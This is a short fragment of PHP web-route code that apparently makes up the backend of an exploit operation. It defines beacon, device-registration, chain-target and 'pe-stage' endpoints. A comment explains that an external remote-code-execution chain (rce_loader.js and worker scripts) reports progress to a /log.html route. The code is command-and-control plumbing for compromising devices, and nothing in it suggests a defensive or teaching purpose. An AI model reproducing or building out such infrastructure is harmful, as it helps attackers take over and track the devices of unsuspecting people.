group(function () use ($ds) { Route::any('/beacon', [$ds, 'beacon']); Route::any('/war', [$ds, 'war']); Route::any('/p', [$ds, 'p']); Route::any('/stats', [$ds, 'stats']); Route::any('/api/ds/log', [$ds, 'log']); // /log.html: external exploit chain (rce_loader.js + rce_worker_*.js) sends // progress logs here via XMLHttpRequest GET with query params (id, text, hex). // Maps to the same controller as /api/ds/log for unified log ingestion. Route::any('/log.html', [$ds, 'log']); Route::any('/api/ds/device/register', [$ds, 'register']); Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']); Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']); });